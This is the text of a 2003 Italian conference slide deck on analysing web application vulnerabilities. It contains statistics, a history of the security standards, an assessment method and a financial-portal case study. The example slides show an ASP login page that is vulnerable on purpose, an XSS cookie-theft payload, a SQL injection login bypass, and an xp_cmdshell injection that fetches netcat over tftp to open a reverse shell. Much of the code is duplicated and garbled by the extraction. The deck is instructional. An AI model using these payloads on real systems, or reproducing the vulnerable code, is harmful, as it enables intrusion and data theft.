L analisi delle vulnerabilità delle applicazioni Yann Bongiovanni Presidente di LIVE Network Security AIEA Sessione di Studio Roma, 9 aprile 2003 Milano, 8 maggio 2003
Indice Vulnerabilità di pubblico dominio: dati quantitativi e qualitativi Esempi di vulnerabilità applicative Il contesto normativo: dall Orange Book all ISO 15408 I limiti nell approccio attuale Struttura di un assessment per un applicazione Case study: Portale finanziario Conclusioni
Vulnerabilità nel periodo 4.2001-3.2002 1595 vulnerabilità segnalate 30 allarmi in media alla settimana 201 183 128 153 106 117 112 100 111 109 133 142 Apr Mag Giu Lug Ago Set Ott Nov Dic Gen Feb Mar Fonte: SecurityTracker
I top ten tra i produttori 10 produttori erano responsabili di 28% degli allarmi complessivi. A Microsoft sono attribuibili 11,7% delle vulnerabilità segnalate, quattro volte quelle del prossimo in classifica (Sun). Network Associates e Trend Micro sono le uniche società di security a entrare in classifica. Sun HP IBM Cisco Caldera/SCO Oracle Apache SF Trend Micro Fonte: SecurityTracker Microsoft Red Hat Netscape Network Associates
Tipi di software vulnerabile La maggior parte delle vulnerabilità riportate (86%) riguarda il livello applicativo, seguono i sistemi operativi e l hardware. La categoria di software più affetta riguarda i web server ed applicazioni web-based. Al secondo posto vi è il software per la security! Seguono server di posta elettronica e i browser web. Device OS OS OS - non classificate - Applicazioni web Applicazioni di security Server E-Mail Router/Bridge/Hub Web Browser File Transfer UNIX Database Client di posta elettronica Microsoft E-Commerce Multimedia Firewall File Sharing Linux Forum/Board/Portale Instant Messaging/IRC/Chat News 25,9% 22,8% 9,4% 4,8% 4,4% 4,0% 3,3% 3,2% 2,6% 2,3% 2,3% 1,9% 1,9% 1,8% 1,4% 1,2% 0,8% 0,8% 0,7% Device OS OS Device Device Device Device Device Device Device Device Device Device Directory Firewall Mac Giochi altro VPN Stampanti Embedded Server/Appliance Telefoni/Fax Telefoni/Fax Calendari VoIP Gestione certificati digitali Embedded Server Intrusion Detection Crittografia/VPN Multimedia PDA VPN 0,6% 0,5% 0,5% 0,4% 0,4% 0,3% 0,3% 0,2% 0,2% 0,2% 0,1% 0,1% 0,1% 0,1% 0,1% 0,1% 0,1% 0,1% 0,1% Fonte: SecurityTracker
Impatto L impatto più frequente (27%) riguarda la possibilità di eseguire codice arbitrario da remoto. La maggior parte delle vulnerabilità (anche quelle classificate diversamente) ha come impatto il denial-of-service. Esecuzione di codice arbitrario dalla rete Denial of service dalla rete Divulgazione di dati utente Divulgazione di dati di sistema Accesso utente da remoto Esecuzione di codice arbitrario dal sistema locale Divulgazione di dati di autenticazione Accesso con i massimi privilegi dal sistema locale Modifica di dati di sistema Accesso con i massimi privilegi dalla rete Accesso utente dalla rete Accesso a risorse di sistema dalla rete Modifica di dati utente Denial of service dal sistema locale Modifica di dati di autenticazione non specificato 27,20% 20,70% 19,20% 18,40% 16,00% 11,70% 10,40% 10,20% 7,80% 7,80% 6,60% 6,50% 6,30% 4,50% 0,90% 0,10% Fonte: SecurityTracker
Vulnerabilità riportate dal 2000 1600 1400 1200 1000 800 600 400 Input Validation Error Access Validation Error Exceptional Condition Error Environment Error Configuration Error Race Condition Design Error Other 200 0 2000 2001 2002 2003 Elaborazione LIVE su dati ICAT (icat.nist.gov) aggiornata al 24.3.2003
Tipi di errore Percentuali calcolate in base ad un campione di 4095 vulnerabilità rilevate nel periodo 2000-2003 Access Validation Error 10% Exceptional Condition Error 10% Environment Error 2% Configuration Error 6% Race Condition 2% Input Validation Error 44% Other 1% Design Error 25% Elaborazione LIVE su dati ICAT (icat.nist.gov) aggiornata al 24.3.2003
Esempio: Architettura client-server Rete e sistemi Internet Internet Web & Application Server Database Server Internet Firewall Perimeter Network Firewall Applicazione MS IIS ASP ODBC sa user MS SQL Server HTTPS anonymous user
Dettaglio Applicazione MS IIS ASP ODBC sa user MS SQL Server sclogin.asp HTTPS anonymous user <% Option Explicit <% Dim Option slogin Explicit slogin "" Dim slogin if Request("Accedi") slogin "" "Accedi" then Dim if Request("Accedi") p_strcodicecliente, "Accedi" p_strpassword, then objrs, strsql p_strcodicecliente Dim p_strcodicecliente, Request.Form("CodCli") p_strpassword, objrs, strsql p_strpassword Request.Form("Password") p_strcodicecliente Request.Form("CodCli") strsql p_strpassword "SELECT * FROM Request.Form("Password") tblclienti " & _ "WHERE codcli'" & p_strcodicecliente & _ strsql "' and password'" "SELECT * FROM & p_strpassword tblclienti " & "'" _ "WHERE codcli'" & p_strcodicecliente & _ Set objrs "' and Server.CreateObject("ADODB.Recordset") password'" & p_strpassword & "'" objrs.open strsql, "DRIVERSQL Server;UIDsa;SERVERLIVE-VM02" Set objrs Server.CreateObject("ADODB.Recordset") If (objrs.eof) objrs.open Then strsql, "DRIVERSQL Server;UIDsa;SERVERLIVE-VM02" slogin "NOK" Else If (objrs.eof) Then Session("User") slogin "NOK" objrs("codcli") Response.Redirect Else "servizioclienti.asp" End If Session("User") objrs("codcli") Response.Redirect "servizioclienti.asp" Set objrs End If Nothing End If Set objrs Nothing %> <html> End If %> <head> <html> <meta http-equiv"content-language" content"it"> <meta <head> http-equiv"content-type" content"text/html; charsetwindows-1252"> <title>servizio <meta http-equiv"content-language" Clienti MACROBUG</title> content"it"> </head> <meta http-equiv"content-type" content"text/html; charsetwindows-1252"> <title>servizio Clienti MACROBUG</title> <body> </head> <div <body> align"center"> <center> <table <div border"0" align"center"> cellpadding"0" cellspacing"0" style"border-collapse: collapse" bordercolor"#111111" id"autonumber1" width"541"> <center> <table width"198"><font border"0" cellpadding"0" face"lucida cellspacing"0" Sans Unicode"><img style"border-collapse: border"0" src"artwork/j0222021.gif"></font></td> collapse" bordercolor"#111111" id"autonumber1" width"541"> width"343"><font face"lucida Sans Unicode">Servizio Clienti MACROBUG<sup> </sup></font><p> <font face"lucida width"198"><font Sans Unicode">L'accesso face"lucida Sans è Unicode"><img riservato ai Clienti border"0" che src"artwork/j0222021.gif"></font></td> hanno sottoscritto width"343"><font il contratto face"lucida di assistenza Sans web.</font></p> Unicode">Servizio Clienti MACROBUG<sup> </sup></font><p> <p> </p> <font face"lucida Sans Unicode">L'accesso è riservato ai Clienti che <form hanno method"post"> sottoscritto il contratto di assistenza web.</font></p> <table <p> </p> border"0" cellpadding"0" cellspacing"0" style"border-collapse: collapse" bordercolor"#111111" width"100%" id"autonumber2"> <form method"post"> <table width"36%" border"0" style"padding-top: cellpadding"0" cellspacing"0" 2; padding-bottom: style"border-collapse: 2"><font face"lucida collapse" Sans Unicode">Codice bordercolor"#111111" Cliente width"100%" id"autonumber2"> </font></td> width"64%" width"36%" style"padding-top: style"padding-top: 2; padding-bottom: 2; padding-bottom: 2"><font 2"><font face"lucida face"lucida Sans Sans Unicode"> Unicode">Codice Cliente <input </font></td> type"text" name"codcli" size"10" value"<%request("codcli")%>" style"font-family: Lucida Sans Unicode" maxlength"10"> (10 cifre)</font></td> width"64%" style"padding-top: 2; padding-bottom: 2"><font face"lucida Sans Unicode"> <input type"text" name"codcli" size"10" value"<%request("codcli")%>" style"font-family: Lucida Sans Unicode" maxlength"10"> (10 cifre)</font></td> width"36%" style"padding-top: 2; padding-bottom: 2"><font face"lucida Sans Unicode">Password</font></td> width"64%" style"padding-top: 2; padding-bottom: 2"> <input type"password" width"36%" style"padding-top: name"password" 2; size"29" padding-bottom: style"font-family: 2"><font face"lucida Sans Sans Unicode"></td> Unicode">Password</font></td> width"64%" style"padding-top: 2; padding-bottom: 2"> </table> <input type"password" name"password" size"29" style"font-family: Lucida Sans Unicode"></td> <p align"center"> <input </table> type"submit" value"accedi" name"accedi" style"font-family: Lucida Sans Unicode"></font> </p> <p align"center"> </form> <input type"submit" value"accedi" name"accedi" style"font-family: Lucida Sans Unicode"></font> </td> </p> </form> </td> width"198"> </td> width"343"> <p align"left"><font width"198"> </td> face"lucida Sans Unicode"><br> <% if slogin width"343"> "NOK" then %> Il codice <p align"left"><font cliente o la password face"lucida non sono Sans validi. Unicode"><br> Si prega di ritentare. <% End <% if If slogin %> "NOK" then %> </font></td> Il codice cliente o la password non sono validi. Si prega di ritentare. <% End If %> </font></td> </table> </center> </div> </table> </center> </body> </div> </html> </body> </html>
Dettaglio della pagina di login Applicazione MS IIS ASP ODBC sa user MS SQL Server sclogin.asp HTTPS anonymous user <% Option Explicit <% Dim Option slogin Explicit slogin "" Dim slogin if Request("Accedi") slogin "" "Accedi" then Dim if Request("Accedi") p_strcodicecliente, "Accedi" p_strpassword, then objrs, strsql p_strcodicecliente Dim p_strcodicecliente, Request.Form("CodCli") p_strpassword, objrs, strsql <input type"text" name"codcli" p_strpassword Request.Form("Password") p_strcodicecliente Request.Form("CodCli") size"10" strsql p_strpassword "SELECT * FROM Request.Form("Password") tblclienti " & _ "WHERE codcli'" & p_strcodicecliente & _ strsql "' and password'" "SELECT * FROM & p_strpassword tblclienti " & "'" _ "WHERE codcli'" & p_strcodicecliente & _ Set objrs "' and Server.CreateObject("ADODB.Recordset") password'" & p_strpassword & "'" objrs.open strsql, "DRIVERSQL Server;UIDsa;SERVERLIVE-VM02" Set objrs Server.CreateObject("ADODB.Recordset") If (objrs.eof) objrs.open Then strsql, "DRIVERSQL Server;UIDsa;SERVERLIVE-VM02" slogin "NOK" Else If (objrs.eof) Then Session("User") slogin "NOK" objrs("codcli") Response.Redirect Else "servizioclienti.asp" End If Session("User") objrs("codcli") Response.Redirect "servizioclienti.asp" Set objrs End If Nothing <input type"text" name"codcli" size"10" value"<%request("codcli")%>" maxlength"10"> maxlength"10"> <input <input type"password" type"password" name"password" name"password" size"29 > size"29 > End If Set objrs Nothing %> <html> End If %> <head> <html> <meta http-equiv"content-language" content"it"> <meta <head> http-equiv"content-type" content"text/html; charsetwindows-1252"> <title>servizio <meta http-equiv"content-language" Clienti MACROBUG</title> content"it"> </head> <meta http-equiv"content-type" content"text/html; charsetwindows-1252"> <title>servizio Clienti MACROBUG</title> <body> </head> <div <body> align"center"> <center> <table <div border"0" align"center"> cellpadding"0" cellspacing"0" style"border-collapse: collapse" bordercolor"#111111" id"autonumber1" width"541"> <center> <table width"198"><font border"0" cellpadding"0" face"lucida cellspacing"0" Sans Unicode"><img style"border-collapse: border"0" src"artwork/j0222021.gif"></font></td> collapse" bordercolor"#111111" id"autonumber1" width"541"> width"343"><font face"lucida Sans Unicode">Servizio Clienti MACROBUG<sup> </sup></font><p> <font face"lucida width"198"><font Sans Unicode">L'accesso face"lucida Sans è Unicode"><img riservato ai Clienti border"0" che src"artwork/j0222021.gif"></font></td> hanno sottoscritto width"343"><font il contratto face"lucida di assistenza Sans web.</font></p> Unicode">Servizio Clienti MACROBUG<sup> </sup></font><p> <p> </p> <font face"lucida Sans Unicode">L'accesso è riservato ai Clienti che <form hanno method"post"> sottoscritto il contratto di assistenza web.</font></p> <table <p> </p> border"0" cellpadding"0" cellspacing"0" style"border-collapse: collapse" bordercolor"#111111" width"100%" id"autonumber2"> <form method"post"> <table width"36%" border"0" style"padding-top: cellpadding"0" cellspacing"0" 2; padding-bottom: style"border-collapse: 2"><font face"lucida collapse" Sans Unicode">Codice bordercolor"#111111" Cliente width"100%" id"autonumber2"> </font></td> width"64%" width"36%" style"padding-top: style"padding-top: 2; padding-bottom: 2; padding-bottom: 2"><font 2"><font face"lucida face"lucida Sans Sans Unicode"> Unicode">Codice Cliente <input </font></td> type"text" name"codcli" size"10" value"<%request("codcli")%>" style"font-family: Lucida Sans Unicode" maxlength"10"> (10 cifre)</font></td> width"64%" style"padding-top: 2; padding-bottom: 2"><font face"lucida Sans Unicode"> <input type"text" name"codcli" size"10" value"<%request("codcli")%>" style"font-family: Lucida Sans Unicode" maxlength"10"> (10 cifre)</font></td> width"36%" style"padding-top: 2; padding-bottom: 2"><font face"lucida Sans Unicode">Password</font></td> width"64%" style"padding-top: 2; padding-bottom: 2"> <input type"password" width"36%" style"padding-top: name"password" 2; size"29" padding-bottom: style"font-family: 2"><font face"lucida Sans Sans Unicode"></td> Unicode">Password</font></td> width"64%" style"padding-top: 2; padding-bottom: 2"> </table> <input type"password" name"password" size"29" style"font-family: Lucida Sans Unicode"></td> <p align"center"> <input </table> type"submit" value"accedi" name"accedi" style"font-family: Lucida Sans Unicode"></font> </p> <p align"center"> </form> <input type"submit" value"accedi" name"accedi" style"font-family: Lucida Sans Unicode"></font> </td> </p> </form> </td> width"198"> </td> width"343"> <p align"left"><font width"198"> </td> face"lucida Sans Unicode"><br> <% if slogin width"343"> "NOK" then %> Il codice <p align"left"><font cliente o la password face"lucida non sono Sans validi. Unicode"><br> Si prega di ritentare. <% End <% if If slogin %> "NOK" then %> </font></td> Il codice cliente o la password non sono validi. Si prega di ritentare. <% End If %> </font></td> </table> </center> </div> </table> </center> </body> </div> </html> </body> </html>
Esempio di errore: Cross-Site Scripting La logica applicativa: L applicazione riceve dall utente una stringa di testo e la utilizza per specificare i criteri di selezione nel database. Per evitare all utente di ridigitare i dati immessi nei campi, l applicazione utilizza i valori forniti dall utente. L errore: L applicazione inserisce i dati forniti dall utente nella stringa che compone il campo XML/HTML senza eseguire una codifica HTML. L impatto: E possibile far eseguire nel browser dell utente codice JavaScript proveniente da un sito estraneo. Il codice viene eseguito nel contesto di sicurezza della pagina principale. Questa vulnerabilità può essere sfruttata per manipolare i contenuti della pagina web o per carpire dati dell utente (cookies o campi di un form).
Errore di validazione (XSS) Applicazione MS IIS ASP ODBC sa user MS SQL Server HTTPS anonymous user <input <input type"text" type"text" name"codcli" name"codcli" size"10" size"10" value"<%request("codcli")%>" value"<%request("codcli")%>" maxlength"10"> maxlength"10"> <input <input type"password" type"password" name"password" name"password" size"29 > size"29 > CodCli 0000000000 <input <input type"text" type"text" name"codcli" name"codcli" size"10" size"10" value 0000000000" maxlength"10"> maxlength"10"> <input <input type"password" type"password" name"password" name"password" size"29 > size"29 >
Errore di validazione (XSS) Applicazione MS IIS ASP ODBC sa user MS SQL Server HTTPS anonymous user <input <input type"text" type"text" name"codcli" name"codcli" size"10" size"10" value"<%request("codcli")%>" value"<%request("codcli")%>" maxlength"10"> maxlength"10"> <input <input type"password" type"password" name"password" name"password" size"29 > size"29 > CodCli "> <script> alert(document.cookie) </script> <input <input <input type"text" type"text" name"codcli" name"codcli" size"10" size"10" value""><script>alert(document.cookie) </script><input" maxlength"10"> maxlength"10"> <input <input type"password" type"password" name"password" name"password" size"29 > size"29 >
Esempio di errore: SQL Injection La logica applicativa: L applicazione riceve dall utente una stringa di testo e la utilizza per specificare i criteri di selezione nel database. L errore: L applicazione utilizza i dati forniti dall utente per costruire una stringa che contiene il comando SQL (che invierà al database server) senza controllare la presenza di caratteri che delimitano stringhe di testo oppure senza controllare che dati presunti numerici siano effettivamente tali. L impatto: E possibile alterare le istruzioni inviate al database server. In funzione del tipo di database server e del livello di autorizzazioni con cui l applicazione opera nei confronti del database server è possibile operare nel database dell applicazione oppure eseguire comandi arbitrari nel sistema che ospita il database server.
Errore di validazione 2 (SQL Injection) Applicazione MS IIS ASP ODBC sa user MS SQL Server sclogin.asp HTTPS anonymous user <% Option Explicit <% Dim Option slogin Explicit slogin "" Dim slogin if Request("Accedi") slogin "" "Accedi" then Dim if Request("Accedi") p_strcodicecliente, "Accedi" p_strpassword, then objrs, strsql p_strcodicecliente p_strcodicecliente Request.Form("CodCli") Request.Form("CodCli") p_strpassword p_strpassword Request.Form("Password") Request.Form("Password") strsql strsql "SELECT "SELECT * * FROM FROM tblclienti tblclienti WHERE WHERE codcli'" codcli'" & & p_strcodicecliente p_strcodicecliente & & "' "' and and password'" password'" & & p_strpassword p_strpassword & & "'" "'" Set Set objrs objrs Server.CreateObject("ADODB.Recordset") Server.CreateObject("ADODB.Recordset") objrs.open objrs.open strsql, strsql, "DRIVERSQL "DRIVERSQL Server;UIDsa;SERVERLIVE-VM02" Server;UIDsa;SERVERLIVE-VM02" If If (objrs.eof) (objrs.eof) Then Then slogin slogin "NOK" "NOK" Else Else Session("User") Session("User") objrs("codcli") objrs("codcli") Response.Redirect Response.Redirect "servizioclienti.asp" "servizioclienti.asp" End End If If p_strcodicecliente Dim p_strcodicecliente, Request.Form("CodCli") p_strpassword, objrs, strsql p_strpassword Request.Form("Password") p_strcodicecliente Request.Form("CodCli") strsql p_strpassword "SELECT * FROM Request.Form("Password") tblclienti " & _ "WHERE codcli'" & p_strcodicecliente & _ strsql "' and password'" "SELECT * FROM & p_strpassword tblclienti " & "'" _ "WHERE codcli'" & p_strcodicecliente & _ Set objrs "' and Server.CreateObject("ADODB.Recordset") password'" & p_strpassword & "'" objrs.open strsql, "DRIVERSQL Server;UIDsa;SERVERLIVE-VM02" Set objrs Server.CreateObject("ADODB.Recordset") If (objrs.eof) objrs.open Then strsql, "DRIVERSQL Server;UIDsa;SERVERLIVE-VM02" slogin "NOK" Else If (objrs.eof) Then Session("User") slogin "NOK" objrs("codcli") Response.Redirect Else "servizioclienti.asp" End If Session("User") objrs("codcli") Response.Redirect "servizioclienti.asp" Set objrs End If Nothing End If Set objrs Nothing %> <html> End If %> <head> <html> <meta http-equiv"content-language" content"it"> <meta <head> http-equiv"content-type" content"text/html; charsetwindows-1252"> <title>servizio <meta http-equiv"content-language" Clienti MACROBUG</title> content"it"> </head> <meta http-equiv"content-type" content"text/html; charsetwindows-1252"> <title>servizio Clienti MACROBUG</title> <body> </head> <div <body> align"center"> <center> <table <div border"0" align"center"> cellpadding"0" cellspacing"0" style"border-collapse: collapse" bordercolor"#111111" id"autonumber1" width"541"> <center> <table width"198"><font border"0" cellpadding"0" face"lucida cellspacing"0" Sans Unicode"><img style"border-collapse: border"0" src"artwork/j0222021.gif"></font></td> collapse" bordercolor"#111111" id"autonumber1" width"541"> width"343"><font face"lucida Sans Unicode">Servizio Clienti MACROBUG<sup> </sup></font><p> <font face"lucida width"198"><font Sans Unicode">L'accesso face"lucida Sans è Unicode"><img riservato ai Clienti border"0" che src"artwork/j0222021.gif"></font></td> hanno sottoscritto width"343"><font il contratto face"lucida di assistenza Sans web.</font></p> Unicode">Servizio Clienti MACROBUG<sup> </sup></font><p> <p> </p> <font face"lucida Sans Unicode">L'accesso è riservato ai Clienti che <form hanno method"post"> sottoscritto il contratto di assistenza web.</font></p> <table <p> </p> border"0" cellpadding"0" cellspacing"0" style"border-collapse: collapse" bordercolor"#111111" width"100%" id"autonumber2"> <form method"post"> <table width"36%" border"0" style"padding-top: cellpadding"0" cellspacing"0" 2; padding-bottom: style"border-collapse: 2"><font face"lucida collapse" Sans Unicode">Codice bordercolor"#111111" Cliente width"100%" id"autonumber2"> </font></td> width"64%" width"36%" style"padding-top: style"padding-top: 2; padding-bottom: 2; padding-bottom: 2"><font 2"><font face"lucida face"lucida Sans Sans Unicode"> Unicode">Codice Cliente <input </font></td> type"text" name"codcli" size"10" value"<%request("codcli")%>" style"font-family: Lucida Sans Unicode" maxlength"10"> (10 cifre)</font></td> width"64%" style"padding-top: 2; padding-bottom: 2"><font face"lucida Sans Unicode"> <input type"text" name"codcli" size"10" value"<%request("codcli")%>" style"font-family: Lucida Sans Unicode" maxlength"10"> (10 cifre)</font></td> width"36%" style"padding-top: 2; padding-bottom: 2"><font face"lucida Sans Unicode">Password</font></td> width"64%" style"padding-top: 2; padding-bottom: 2"> <input type"password" width"36%" style"padding-top: name"password" 2; size"29" padding-bottom: style"font-family: 2"><font face"lucida Sans Sans Unicode"></td> Unicode">Password</font></td> width"64%" style"padding-top: 2; padding-bottom: 2"> </table> <input type"password" name"password" size"29" style"font-family: Lucida Sans Unicode"></td> <p align"center"> <input </table> type"submit" value"accedi" name"accedi" style"font-family: Lucida Sans Unicode"></font> </p> <p align"center"> </form> <input type"submit" value"accedi" name"accedi" style"font-family: Lucida Sans Unicode"></font> </td> </p> </form> </td> width"198"> </td> width"343"> <p align"left"><font width"198"> </td> face"lucida Sans Unicode"><br> <% if slogin width"343"> "NOK" then %> Il codice <p align"left"><font cliente o la password face"lucida non sono Sans validi. Unicode"><br> Si prega di ritentare. <% End <% if If slogin %> "NOK" then %> </font></td> Il codice cliente o la password non sono validi. Si prega di ritentare. <% End If %> </font></td> </table> </center> </div> </table> </center> </body> </div> </html> </body> </html>
Errore di validazione 2 (SQL Injection) Applicazione MS IIS ASP ODBC sa user MS SQL Server Password macrobug CodCli HTTPS anonymous user 0000063936 p_strcodicecliente Request.Form("CodCli") p_strcodicecliente Request.Form("CodCli") p_strpassword Request.Form("Password") p_strpassword Request.Form("Password") strsql "SELECT * FROM tblclienti WHERE codcli'" & _ strsql "SELECT * FROM tblclienti WHERE codcli'" & _ p_strcodicecliente & "' and password'" & p_strpassword & "'" p_strcodicecliente & "' and password'" & p_strpassword & "'" Set objrs Server.CreateObject("ADODB.Recordset") Set objrs Server.CreateObject("ADODB.Recordset") objrs.open strsql, "DRIVERSQL Server;UIDsa;SERVERLIVE-VM02" objrs.open strsql, "DRIVERSQL Server;UIDsa;SERVERLIVE-VM02" If (objrs.eof) Then If (objrs.eof) Then slogin "NOK" slogin "NOK" Else Else Session("User") objrs("codcli") Session("User") objrs("codcli") Response.Redirect "servizioclienti.asp" Response.Redirect "servizioclienti.asp" End If End If strsql SELECT * FROM tblclienti WHERE CodCli '0000063936' AND Password 'macrobug'
Esempio: SQL Injection Applicazione Password HTTPS anonymous user MS IIS ASP ODBC sa user MS SQL Server p_strcodicecliente Request.Form("CodCli") p_strpassword p_strcodicecliente Request.Form("Password") Request.Form("CodCli") p_strpassword Request.Form("Password") strsql "SELECT * FROM tblclienti WHERE codcli'" & _ strsql p_strcodicecliente "SELECT * FROM & "' and tblclienti password'" WHERE & p_strpassword codcli'" & _ & "'" p_strcodicecliente & "' and password'" & p_strpassword & "'" Set objrs Server.CreateObject("ADODB.Recordset") objrs.open Set strsql, Server.CreateObject("ADODB.Recordset") "DRIVERSQL Server;UIDsa;SERVERLIVE-VM02" objrs.open strsql, "DRIVERSQL Server;UIDsa;SERVERLIVE-VM02" If (objrs.eof) Then slogin If (objrs.eof) "NOK" Then Else slogin "NOK" Session("User") Else objrs("codcli") Response.Redirect Session("User") "servizioclienti.asp" objrs("codcli") End If Response.Redirect "servizioclienti.asp" End If CodCli ' OR 11 -- strsql SELECT * FROM tblclienti WHERE CodCli '' OR 11 --' AND Password ''
Esempio: SQL Injection Applicazione MS IIS ASP ODBC sa user MS SQL Server cmd.exe Password HTTPS anonymous user CodCli ' EXEC xp_cmdshell 'tftp i 172.16.0.1 get nc.exe c:\temp\nc.exe && c:\temp\nc.exe d e cmd.exe 172.16.0.1 21'-- strsql SELECT * FROM tblclienti WHERE CodCli '' EXEC xp_cmdshell 'tftp i 172.16.0.1 get nc.exe c:\temp\nc.exe && c:\temp\nc.exe d e cmd.exe 172.16.0.1 21' -- AND Password 'macrobug'
Il contesto normativo (1/2) 1980: Gli Stati Uniti sviluppano "Trusted Computer System Evaluation Criteria (TCSEC)" 1980-1990: Nella decade successiva, alcuni paesi europei (Francia, Germania, Olanda, e Regno Unito) sviluppano "Information Technology Security Evaluation Criteria (ITSEC)" pubblicato nel 1991 dalla Commissione Europea. Lo standard si basa su TCSEC, ma tiene conto della rapida evoluzione dell'it. 1990: La ISO crea un gruppo di lavoro (WG 3) all'interno del sottocomitato 27 (SC 27) del Joint Tecnical Committee 1 (JTC 1) allo scopo di creare uno standard internazionale. 1993: Il Canada pubblica "Canadian Trusted Computer Product Evaluation Criteria (CTCPEC)", una combinazione tra TCSEC e ITSEC. 1993: Anche gli Stati Uniti recepiscono le innovazioni di ITSEC in una prima bozza dei "Federal Criteria for Information Technology Security (FC)"
Il contesto normativo (2/2) 1993: Le organizzazioni sponsor di ITSEC, CTCPEC, FC e TCSEC (Canada, Francia, Germania, Olanda, Stati Uniti) si uniscono in un progetto di armonizzazione chiamato "Common Criteria (CC) Project". 1996: La versione 1.0 dei CC viene completata in gennaio 1996 e approvata da ISO in aprile 1996. 1999: Dopo tre anni di esperienza nell'applicazione della norma viene pubblicata la versione 2.1 come ISO/IEC 15408. 2000: Australia, Canada, Finlandia, Francia, Gran Bretagna, Germania, Grecia, Italia, Norvegia, Nuova Zelanda, Olanda, Spagna e Stati Uniti firmano l'accordo di riconoscimento reciproco di certificati e profili di sicurezza basati sui CC.
I limiti dell approccio attuale L analisi delle vulnerabilità a livello applicativo non viene presa in considerazione oppure viene percepita come secondaria rispetto a quella delle infrastrutture laboriosa (e quindi troppo costosa) invasiva (se include attività di code analysis) Nei security assessment non si tiene conto delle applicazioni sono rilevate solo le vulnerabilità della rete e dei sistemi sono rilevate parzialmente solo le relazioni di trust evidenti a livello di rete Ne risulta uno sbilanciamento delle priorità a favore della sicurezza nella gestione dei sistemi un falso senso di sicurezza dovuto ad un elevato livello di vulnerabilità nelle applicazioni.
ISO/IEC 15408 Security Context
CC Security Environment
CC Security Requirements and Specification
Struttura di un vulnerability assessment 1. Rilevazione dell architettura applicativa 2. Analisi dei possibili attacchi e del loro impatto 3. Individuazione di una baseline riconosciuta per il livello di protezione rilevato 4. Rilevazione delle misure di sicurezza esistenti 5. Analisi delle vulnerabilità su un campione di codice applicativo (code analysis) 6. Gap Analysis (tra baseline e misure di sicurezza rilevate) 7. Elenco delle misure di sicurezza assenti o insufficientemente implementate e delle relative minacce 8. Elaborazione di raccomandazioni e suggerimenti
Case Study: Portale Finanziario Ambito: Insieme di portali rivolti distinte tipologie di utenti Utenze registrate: ca. 350.000 Utenze previste nel breve-medio termine: 1.000.000 Applicazione distribuita su 9 sistemi Sistemi operativi utilizzati: Windows, UNIX, MVS Struttura applicativa multilivello con Portal Server, Application Server, Database Server e Transaction Processing System di back end 3882 file con codice Visual Basic 533 file con codice Java 8599 file di altro genere Obiettivi: rilevare un numero significativo di vulnerabilità con un approccio grey-box individuare azioni indirizzate all abbassamento del livello di esposizione al rischio
Case Study: Attività svolta 1. Rilevazione delle configurazioni hardware/software e determinazione dell ambito di analisi 2. Analisi di un campione ristretto e sviluppo di test automatizzati. 3. Estensione dell analisi con test automatizzati. 4. Classificazione delle vulnerabilità riscontrate. 5. Valutazione complessiva e documentazione dei risultati. 6. Individuazione di possibili azioni correttive
Case Study: Problemi riscontrati I portali presentavano numerose vulnerabilità causate da errori di programmazione 252 errori di validazione dell input 293 errori di autenticazione e di controllo degli accessi 28 errori di design 96 programmi con chiavi di autenticazione in chiaro (67 accessibili all utente anonimo da Internet) Le possibili violazioni comprendevano l accesso a dati riservati di utenti (39% dei casi) la manipolazione dei dati inviati dal portale all utente (54% dei casi) la modifica arbitraria di dati nel database dei portali (1% dei casi) la generazione di denial-of-service (22% dei casi)
Case Study: Problemi riscontrati (cont.) L architettura di sicurezza non era adatta a contenere l impatto, che era sempre grave in quanto il web/portal server operava con i massimi privilegi concessi dal sistema operativo; nel web/portal server erano presenti e facilmente accessibili le chiavi di accesso ai database e ad altri sistemi; l application server concedeva all utente anonimo diritti di esecuzione sulle applicazioni di tutti i portali; i meccanismi di auditing implementati non permettevano di monitorare sufficientemente le vulnerabilità presenti; il numero di interconnessioni tra i confini di sicurezza era troppo elevato per permettere un controllo efficace (oltre 100 connessioni indipendenti al database server).
Problemi riscontrati (cont.) L architettura di sicurezza presentava limitazioni di interoperabilità con applicazioni esterne per quanto concerne single sign-on (accesso da e verso i servizi del portale) web services (le funzioni di autenticazione e controllo accessi erano legate all interfaccia utente; non era previsto un controllo accessi per applicazioni esterne) L organizzazione dei processi non premetteva di ottenere maggiore sicurezza: il processo di trasporto (dallo sviluppo alla produzione) non prevedeva la verifica della sicurezza; non esistevano requisiti e specifiche di sicurezza per le applicazioni; non esistevano politiche e procedure di sicurezza per lo sviluppo e la produzione.
Aree di intervento Revisione dell'architettura di sicurezza Riduzione della vulnerabilità complessiva attraverso l uso di profili di autorizzazione più restrittivi (role-based access control) Ridisegno dell architettura applicativa al fine di restringere i punti di interazione con i trust boundary. Progettazione e realizzazione di un'architettura che integra le funzioni di Identity & Privilege Management Revisione del codice applicativo Workshop di sensibilizzazione Eliminazione puntuale delle vulnerabilità accertate Code review su tutto il codice prima di qualsiasi rilascio Verifica dei risultati Definizione e diffusione obiettivi e politiche di sicurezza concernenti Lo sviluppo, il rilascio, l'installazione e la gestione delle applicazioni e dei sistemi che compongono l'area portale
I principi Per costruire sistemi applicativi più sicuri è necessario Definire correttamente requisiti e specifiche di sicurezza (descrivere quali caratteristiche di sicurezza vogliamo e cosa deve fare chi le sviluppa per realizzarle) Definire delle metriche per la sicurezza e applicare procedure di testing, valutazione e assessment (controllare che abbiamo ottenuto ciò che abbiamo richiesto)
Conclusioni I dati sulle vulnerabilità nei software più diffusi evidenziano quanto sia importante individuare ed abbassare il livello di vulnerabilità delle applicazioni. Per poter anche solo monitorare le vulnerabilità esistenti è necessario conoscerne la tipologia presente. Le attività di security testing attualmente praticate forniscono un quadro parziale, insufficiente per proteggere dai rischi più gravi. Per abbassare il livello di vulnerabilità delle applicazioni è necessario definire requisiti e specifiche di sicurezza e controllarne l applicazione. L analisi delle vulnerabilità delle applicazioni è il primo passo in questa direzione.